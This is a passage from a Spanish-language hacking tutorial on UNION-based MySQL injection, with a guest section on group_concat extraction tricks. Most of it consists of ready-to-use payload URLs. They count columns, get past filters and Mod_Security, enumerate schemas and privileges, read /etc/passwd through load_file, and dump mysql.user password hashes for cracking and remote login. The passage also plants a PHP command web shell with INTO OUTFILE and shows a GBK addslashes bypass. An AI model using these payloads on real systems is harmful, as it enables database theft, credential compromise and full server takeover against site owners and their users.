que hacer: <br /> <br />union all select 1/* <br />union all select 1,2/* <br />union all select 1,2,3/* <br />.. <br />y así sucesivamente hasta encontrar la cantidad de columnas. <br /> <br /> <br /><b><u>Saber la versión de mysql y entre otros datos útiles</u></b> <br /> <br />Bueno ahora analicemos la inyección de más arriba .. <br /> <br />http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/* <br /> <br />Como pueden ver no explique el -1 .. no quiere decir que siempre hay que ponerlo .. pueden usar cualquier numero. <br /> <br /> <br />Lo que hay que hacer ahora es reemplazar alguno de esos números por inyecciones que nos pueden dar algunos datos del servidor (estos números corresponde a una columna de la tabla). <br /> <br />Versión: <br /> <br />http://localhost/print.php?id=-1+union+all+select 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16/ <br />* <br /> <br />(se pude usar @@version o version()) <br /> <br />Ejemplo: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img241.imageshack.us/img241/6568/pantallazo8ut9.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img241.imageshack.us/img241/6568/pantallazo8ut9.png" style="max-width: 499px; " /></a> <br /> <br />(se pude usar @@version o version()) <br /> <br />Tendrás algo como "4.1.20-log" <br /> <br />Los @@ son variables del sistema,por ejemplo podríamos hacer algo como @@servename. <br /> <br />Es importante saber la versión de MySQL ya que podría facilitarnos la inyección .. <br /> <br /><b>version()</b><span class="Apple-converted-space"> </span>Devuelve la versión del servidor MySQL. <br /><b>database()</b><span class="Apple-converted-space"> </span>Devuelve el nombre de la base de datos actual. <br /><b>current_user()</b><span class="Apple-converted-space"> </span>Devuelve el nombre de usuario y el del host para el que está autentificada la <br />conexión actual. Este valor corresponde a la cuenta que se usa para evaluar los privilegios de <br />acceso. Puede ser diferente del valor de USER(). <br /><b>last_insert_id()</b><span class="Apple-converted-space"> </span>Devuelve el último valor generado automáticamente que fue insertado en una <br />columna AUTO_INCREMENT. <br /><b>connection_id()<span class="Apple-converted-space"> </span></b>Devuelve el ID de una conexión. Cada conexión tiene su propio y único ID. <br /><b>@@datadir</b><span class="Apple-converted-space"> </span>directorio de la db. <br /> <br />un problema frecuente .. ¿Por qué me dice que es ilegal, implícita etc ..? <br /> <br />ok .. para evitarlo se hace de la siguiente forma: <br /> <br />con la función<span class="Apple-converted-space"> </span><u>convert().</u> <br /> <br />http://localhost/print.php?id=-1+union+all+select 1,convert(@@version using <br />latin1),3,4,5,6,7,8,9,10,11,12,13,14,15,16/* <br /> <br /><u>con hex() y unhex():</u> <br /> <br />http://localhost/print.php?id=-1+union+all+select <br />1,unhex(hex(@@version)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/* <br /> <br /><u>aes_encrypt & aes_decrypt</u> <br /> <br />http://localhost/print.php?id=-1+UNION+SELECT+1,2,3,aes_decrypt(aes_encrypt(user,1),1),5+from+mysql.user-- <br /> <br /><u>COMPRESS , UNCOMPRESS</u> <br /> <br />http://localhost/print.php?id=-1+UNION+SELECT+1,2,3,UNCOMPRESS(COMPRESS(user)),5+from+mysql.user-- <br /> <br /> <br />Bueno hasta acá ya tenemos bastantes datos interesantes sobre el servidor y ademas sabemos si es vulnerable o no .. sigamos. <br /> <br />otra cosa es que el . (punto) separa la base de datos de las tablas ejemplos: mysql.user, information_schema.tables o ventas.usuarios.<span class="Apple-converted-space"> </span> <br /> <br />Algunas veces nos podemos encontrar con filtros que nos lian las inyecciones, pero hay varias forma de "saltarlos" por ejemplo: <br /> <br /> <br />http://localhost/print.php?id=-1/**/union/**/all/**/select/**/1,unhex(hex(@@versión)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/* <br /> <br />http://localhost/print.php?id=-1/**/uNion/**/aLl/**/sElEcT/**/1,unhEx(hex(@@versión)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/* <br /> <br />o evandiendo el Mod_Security cuando da 403 como codigo de estado (prohibido), se reinicia etc. : <br /> <br />http://localhost/print.php?id=-1+/*!union*/+/*!select*/+/*!all*/+1,version(),3-- <br /> <br /> <br /><b><u>Obteniendo tabla,nombre de columna y otros datos</u></b> <br /> <br />Vamos a ver como hacer al tener una versión 5 de MySQL: <br /> <br /><u>Para tener una lista de los privilegios podemos hacer:</u> <br /> <br />http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,privilege_type,is_grantable),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.user_privileges/* <br /> <br />hay algo nuevo y es CONCAT (concat une datos dentro de una consulta sql). <br />Con esto nos ahorraríamos de hacer inyecciones ..<span class="Apple-converted-space"> </span> <br /> <br />si algún dato no existe en la base de datos "concat" produce un error .. y si no hay contenido larga NULL. <br /> <br />pero todo sale muy junto? ..¿Cómo podemos evitar esto? <br /> <br />Podemos pasar algún carácter a hexadecimal o usando char() (pasando el valor a ascii). <br /> <br />http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,0x3a,privilege_type,0x3a,is_grantable)3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.user_privileges/* <br /> <br />Vemos que 0x3a es un valor en hex y representa ":" <br /> <br />Entonces obtendremos algo así: <br /> <br />''primerdato:segundodato'' y no ''primerdatosegundodato'' <br /> <br />Y así con cualquier carácter por ejemplo "=" en hexa (0x3D) Obtendríamos:<span class="Apple-converted-space"> </span> <br /> <br />''primerdato=segundodato'' <br /> <br />Y en ascii: <br /> <br />http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,char(58),privilege_type,char(58),is_grantable)3,4,5,6,7,8, <br />9,10,11,12,13,14,15,16+from+information_schema.user_privileges/* <br /> <br />Ejemplo: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img241.imageshack.us/img241/4715/pantallazo9xv6.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img241.imageshack.us/img241/4715/pantallazo9xv6.png" style="max-width: 499px; " /></a> <br /> <br />y .. <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img241.imageshack.us/img241/3053/pantallazo10ez9.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img241.imageshack.us/img241/3053/pantallazo10ez9.png" style="max-width: 499px; " /></a> <br /> <br />Como podemos ver en la segunda imagen aparece unos : (dos puntos) <br /> <br />o con char(): <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img122.imageshack.us/img122/1842/pantallazo11db8.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img122.imageshack.us/img122/1842/pantallazo11db8.png" style="max-width: 499px; " /></a> <br /> <br />como podemos ver lo separamos con<span class="Apple-converted-space"> </span><b>^</b>. <br /> <br /><u>Nota: Para saber los valores ascii:<span class="Apple-converted-space"> </span><a href="http://ddlr.servepics.com/rd.php?go=http://www.ascii.cl/es/" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="link">http://www.ascii.cl/es/</a></u> <br /> <br />o Sencillo script en perl para pasar una cadena de caracteres a HEX: <br /> <br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70">print "Enter string to encode:"; $str=<stdin>;chomp $str; $enc = encode($str); print "Hex Encoded value: 0x$enc\n"; sub encode{ #Sub to encode @subvar=@_; my $sqlstr =$subvar[0]; @ASCII = unpack("C*", $sqlstr); foreach $line (@ASCII) { $encoded = sprintf('%lx',$line); $encoded_command .= $encoded; } return $encoded_command; } </stdin></pre></div> <br /> <br />Tambien podemos usar concat_ws() (concat_ws() que utiliza el primer argumento para separar el resto: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img389.imageshack.us/img389/4782/pantallazo13ov1.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img389.imageshack.us/img389/4782/pantallazo13ov1.png" style="max-width: 499px; " /></a> <br /> <br />o aprovechar los numeros que devuelve la página para poner en ellos algo diferente por ejemplo: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img291.imageshack.us/img291/2955/pantallazo26ro6.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img291.imageshack.us/img291/2955/pantallazo26ro6.png" style="max-width: 499px; " /></a> <br /> <br />como ven muestra la base de datos,la tabla y la columna. <br /> <br />en este caso blog es la base .. blog_lb_authors es la tabla y id es la columna. <br /> <br /> <br /> <br />Bueno seguimos .. <br /> <br />otras formas para obtener una lista de privilegios: <br /> <br />http://localhost/print.php?id=-1+union+all+select+1,concat(host,0x3a,user,0x3a,Select_priv,0x3a,Insert_priv,0x3a,Update_pri <br />v,0x3a,Delete_priv,0x3a,Create_priv,0x3a,Drop_priv,0x3a,Reload_priv,0x3a,Shutdown_priv,0x3a,P <br />rocess_priv,0x3a,File_priv,0x3a,Grant_priv,0x3a,References_priv,0x3a,Index_priv,0x3a,Alter_priv, <br />0x3a,Show_db_priv,0x3a,Super_priv,0x3a,Create_tmp_table_priv,0x3a,Lock_tables_priv,0x3a,Exe <br />cute_priv,0x3a,Repl_slave_priv,0x3a,Repl_client_priv),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+m <br />ysql.user-- <br /> <br />http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,0x3a,table_schema,0x3a,privilege_type),3,4,5,6,7,8,9,10, <br />11,12,13,14,15,16+FROM+information_schema.schema_privileges-- <br />http://localhost/print.php? <br />id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name,0x3a,privileg <br />e_type),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_schema.column_privileges-- <br /> <br /><b>una lista sobre las base de datos:</b> <br /> <br />http://localhost/print.php?id=-1+union+all+select+1,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_s <br />chema.schemata-- <br /> <br />http://localhost/print.php?id=-1+union+all+select+1,distinct(db),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+mysql.db-- <br /> <br /><b>una lista de columnas:</b> <br /> <br />http://localhost/print.php? <br />id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4,5,6,7,8,9, <br />10,11,12,13,14,15,16+FROM+information_schema.columns-- <br /> <br /><b>También se puede leer algún archivo local como "/etc/passwd":</b> <br /> <br />http://localhost/print.php?id=-1+union+all+select+1,load_file(0x2f6574632f706173737764),3,4,5,6,7,8,9,10,11,12,13,14,15,1 <br />6-- <br /> <br />El /etc/passwd esta en hex. <br /> <br />Ejemplo: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img357.imageshack.us/img357/6180/pantallazo12xx0.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img357.imageshack.us/img357/6180/pantallazo12xx0.png" style="max-width: 499px; " /></a> <br /> <br />o obtener un user y pass de la db para poder acceder remotamente a ella: <br /> <br />http://localhost/print.php?id=-1+union+all+select+1,concat(host,0x3a,user,0x3a,password),3,4,5,6,7,8,9, <br />10,11,12,13,14,15,16+FROM+mysql.user-- <br /> <br />Ejemplo: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img75.imageshack.us/img75/8233/pantallazo22ga4.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img75.imageshack.us/img75/8233/pantallazo22ga4.png" style="max-width: 499px; " /></a> <br /> <br />nos imprimio el host,el usuario y por supuesto el password .. ahora lo que nos queda es crackear el <br />hash (pueden usar john the ripper etc ..) y controlar si esta abierto el puerto 3306. <br /> <br />Ejemplo: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img241.imageshack.us/img241/8228/pantallazo23uk3.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img241.imageshack.us/img241/8228/pantallazo23uk3.png" style="max-width: 499px; " /></a> <br /> <br />y podernos conectar remotamente: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img20.imageshack.us/img20/2249/pantallazo24wt2.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img20.imageshack.us/img20/2249/pantallazo24wt2.png" style="max-width: 499px; " /></a> <br /> <br />buscando cosas interesantes: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img241.imageshack.us/img241/8297/pantallazo25gh2.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img241.imageshack.us/img241/8297/pantallazo25gh2.png" style="max-width: 499px; " /></a> <br /> <br /><b>Nota:</b><span class="Apple-converted-space"> </span>se puede usar cualquier cliente mysql en este caso uso la c99. <br /> <br /> <br /><u>Una forma para intentar buscar nombres de columnas:</u> <br /> <br />Buscando algún nombre de tabla .. en este caso largo auth .. <br /> <br />http://localhost/print?id=-1 union all select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from <br />information_schema.tables where table_schema = database() <br /> <br />Pasando valor a ascii y buscando .. <br /> <br />http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 <br />from information_schema.columns where table_name = char(97,117,116,104) and column_name <br />like char() <br /> <br />Pasar en ascii "%a%" quedando: <br /> <br />http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 <br />from information_schema.columns where table_name = char(97,117,116,104) and column_name <br />like char(37,97,37) <br /> <br />En esta inyección por ejemplo estaríamos buscando un nombre de columna pasadas en ascii. <br />Y ahí te larga palabras y luego obtener datos :) <br /> <br /><u><b>Sacando demàs tablas,columnas etc .. de la base:</b></u> <br /> <br />Bueno hay algunas veces que al hacer una inyeccion y hacer algo asi: <br /> <br />-1 union all select table_name from information_schema.tables <br /> <br />obtendremos todas todas las tablas impresas de una sola vez .. pero otras veces no .. <br /> <br />por ejemplo: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img357.imageshack.us/img357/2441/pantallazo16co6.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img357.imageshack.us/img357/2441/pantallazo16co6.png" style="max-width: 499px; " /></a> <br /> <br />Como podemos ver tira todas las tablas .. en cambio en esta no: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img403.imageshack.us/img403/3509/pantallazo17iv7.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img403.imageshack.us/img403/3509/pantallazo17iv7.png" style="max-width: 499px; " /></a> <br /> <br />Asi que para ver la siguiente tabla o registro usaremos<span class="Apple-converted-space"> </span><b>limit</b><span class="Apple-converted-space"> </span>al final de la url ejemplo: <br /> <br />-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 1,1-- <br /> <br />Ejemplo: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img403.imageshack.us/img403/9270/pantallazo19hr9.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img403.imageshack.us/img403/9270/pantallazo19hr9.png" style="max-width: 499px; " /></a> <br /> <br />como podemos ver saco la siguiente tabla .. solo nos quedaria incrementar limit .. <br /> <br />-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 2,1-- <br />-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 3,1-- <br />.. <br />-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 15,1-- <br /> <br />etc .. entendido? Ok, esto del limit lleva mucho tiempo .. por que saca datos de toda la base de datos <br />al menos que evitemos lo que no queremos ver :P ejemplo .. <br /> <br />en mysql existen 2 base de datos una se llama information_schema y la otra mysql .. (Instalen mysql y exploren lo que hay dentro de ellas) <br /> <br />pero si de verdad necesitamos evitarlas con el fin de encontrar algun password de algun panel de administracion etc .. podemos hacer algo asi: <br /> <br />1+union+all+select+1,2,concat(table_schema,0x3a,table_name,0x3a,column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+information_schema.columns+WHERE+table_schema!=0x6d7973716c+AND+table_schema+!=0x696e666f726d6174696f6e5f736368656d61+limit+100,1-- <br /> <br />como podemos ver .. pase information_schema y mysql a HEX logrando que evite buscar alguna informacion en ellas. <br /> <br />aparte de usar limit podriamos usar<span class="Apple-converted-space"> </span><b>group_concat()</b><span class="Apple-converted-space"> </span>lo que haria es largar nombres de tabla pero no todas ejemplo: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img140.imageshack.us/img140/1161/pantallazo20lr7.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img140.imageshack.us/img140/1161/pantallazo20lr7.png" style="max-width: 499px; " /></a> <br /> <br />y para evitar el tema de que aparezca todo junto podriamos hacer algo asi: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img339.imageshack.us/img339/6418/pantallazo21nu3.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img339.imageshack.us/img339/6418/pantallazo21nu3.png" style="max-width: 499px; " /></a> <br /> <br />como podemos ver puse:<span class="Apple-converted-space"> </span><b>0x3C62723E</b><span class="Apple-converted-space"> </span>que seria un salto de linea en html osea <br />. <br /> <br /><b> <br /><span style="color:red;">TUTORIAL DE PonyMagic</span></b> <br /> <br />[+] Como muchos saben, con Group_concat(), el límite es de unos 250 caracteres, por eso al printear un concateo relativamente grande "se corta" hoy les voy a mostrar 2 formas para estirar esos 250 caracteres, una muy simple, y la otra... masomenos :P <br /> <br />[+] El 1er Semitip' que tengo, es que cuando usen Group_concat(), realizen un cast() al objeto y lo hagan una variable CHAR. con esto aumentamos la cantidad de caracteres a 1024 que es el seteado group_concat_max_len (inmodificable desde una inejct) . También, para los que setean el delimitador dentro del group, les recomiendo replazar "," por "<br />" luego con replace(). Sino, estamos gastando esos valiosos 1024chars, esto es lo máximo que sacaremos de un solo select con group_concat: <br /> <br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70"> Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e)</pre></div> <br /> <br />[+] hasta ahí vamos a poder llegar con group_concat, pero también voy a "enseñar" una forma para realizar un "limit casero" en el concateo :) supongamos que tenemos esta inject: <br /> <br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70"> id=1 and 1=2 union select 1,2,3,4--</pre></div> <br /> <br />[+] lo 1ro que vamos a hacer, es un select pidiendo las tablas a information_schema. <br /> <br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70">id=1 and 1=2 union select 1,( Select Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e) from information_schema.tables ),3,4--</pre></div> <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://i34.tinypic.com/2rdjk0k.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://i34.tinypic.com/2rdjk0k.png" style="max-width: 499px; " /></a> <br /> <br />[+] Lo que nos devolvería los 1ros 1024chars del concateo. Ahora con este "limit casero" vamos a crear una query que pida los siguientes 1024 caracteres. Para eso vamos a usar la funcion INSTR() <br /> <br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70">id=1 and 1=2 union select 1,( Select Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e) from information_schema.tables Where INSTR( (Select Group_concat(Cast(Table_Name AS CHAR)) from information_schema.tables), Table_Name ) = 0 ),3,4--</pre></div> <br /> <br /> <br />[+] Con esto ya tenemos 3072 chars, algo asi como ... 205 resultados ( si fueran de al rededor de 15chars c/u ) en solo 3 consultas. sino, tendríamos que haber realizado 205 consultas modificando el limit de 1 en 1... <br /> <br />[+] Bueno, por ahora solo eso, porximamente talvez haga algo en JS que edite el link y eso para tener una inject modelo con un botoncito siguiente =P <br /> <br /> <br /> <br /> <br /> <br /> <br /><span style="color:red;">FIN TUTO</span><span class="Apple-converted-space"> </span>(Gracias por esta info, de verdad muy valiosa.) <br /> <br />Link blog PonyMagic:<span class="Apple-converted-space"> </span><a href="http://ddlr.servepics.com/rd.php?go=http://ponymagic.diosdelared.com" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="link">http://ponymagic.diosdelared.com</a> <br /> <br /> <br /> <br />En versiones MySQL 4 o sin permiso para information_schema la unica forma de obtener tablas y columnas es adivinándolas .. <br /> <br />por ejemplo: <br /> <br />http://localhost/print.php?id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 <br />from<span class="Apple-converted-space"> </span><b>admin</b>-- > error <br /> <br />http://localhost/print.php?id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 <br />from<span class="Apple-converted-space"> </span><b>adm</b>-- > error <br /> <br />http://localhost/print.php?id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 <br />from<span class="Apple-converted-space"> </span><b>administrador</b>-- > válido <br /> <br />y de la misma forma para columnas: <br /> <br />http://localhost/print.php?id=-1 union all select 1,<b>password</b>,3,4,5,6,7,8,9,10,11,12,13,14,15,16 <br />from administrador-- > error <br /> <br />http://localhost/print.php?id=-1 union all select 1,<b>pwd</b>,3,4,5,6,7,8,9,10,11,12,13,14,15,16 <br />from administrador-- > error <br /> <br />http://localhost/print.php?id=-1 union all select 1,<b>pass</b>,3,4,5,6,7,8,9,10,11,12,13,14,15,16 <br />from administrador-- > válido <br /> <br /> <br /> <br />¿Para qué podría servir todo esto?<span class="Apple-converted-space"> </span> <br /> <br />Desde leer archivos de configuraciones, archivos en si, etc .. solo es <br />cuestión de imaginación como por ejemplo obtener una shell del servidor haciendo algo como: <br /> <br />UNION SELECT "<!--? system($_REQUEST['cmd']); ?-->",2,3,4 INTO OUTFILE <br />"/var/www/html/mishell.php" -- <br /> <br />por ejemplo: (Una vez echa la inyeccion) <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img185.imageshack.us/img185/4121/pantallazo14dq1.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img185.imageshack.us/img185/4121/pantallazo14dq1.png" style="max-width: 499px; " /></a> <br /> <br />y usando la shell: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img687.imageshack.us/img687/931/pantallazo15.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img687.imageshack.us/img687/931/pantallazo15.png" style="max-width: 499px; " /></a> <br /> <br />Lo que estaríamos haciendo es metiendo el contenido de un script en php y guardándolo en alguna parte <br />del servidor. <br /> <br />si necesitan la ruta del servidor pueden verla en /etc/passwd ejemplo: <br /> <br />apache:x:48:48:Apache:/var/www:/sbin/nologin <br /> <br /><u>en el httpd.conf:</u> <br /> <br />/etc/httpd/conf/httpd.conf<span class="Apple-converted-space"> </span> <br /> <br />(la ruta varia) <br /> <br />viendo el code de alguna web del servidor .. como index.php,noticias.php o cualquiera. <br /> <br />o usar alguna tecnica como Full Path Disclosure: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://www.owasp.org/index.php/Full_Path_Disclosure" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="link">http://www.owasp.org/index.php/Full_Path_Disclosure</a> <br /> <br />Para hacer esto y algunas inyecciones más,necesitamos saltarnos las magic_quotes que son las que no <br />nos dejan hacer nuestras inyecciones con eficiencia :P para eso existen algunas formas .. <br /> <br />Como el "double encoding" bastante interesante y leer <br /> <br />(<a href="http://ddlr.servepics.com/rd.php?go=http://www.owasp.org/index.php/Double_Encoding" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="link">http://www.owasp.org/index.php/Double_Encoding</a>) <br /> <br />hex encoding <br /> <br />para saltar filtros como las magic_quotes leer sobre "SQL Smuggling". <br /> <br />También como he leído por ahí .. podríamos saltar algunos de los filtros que posee PHP veamos: <br />------------------------------------------------------- <br />(MySQL 4.1.x o posterior: 4.1.20 y 5.0.x) <br />bypass a addslashes() con codificaciòn GBK <br />WHERE x = 0xbf27admin 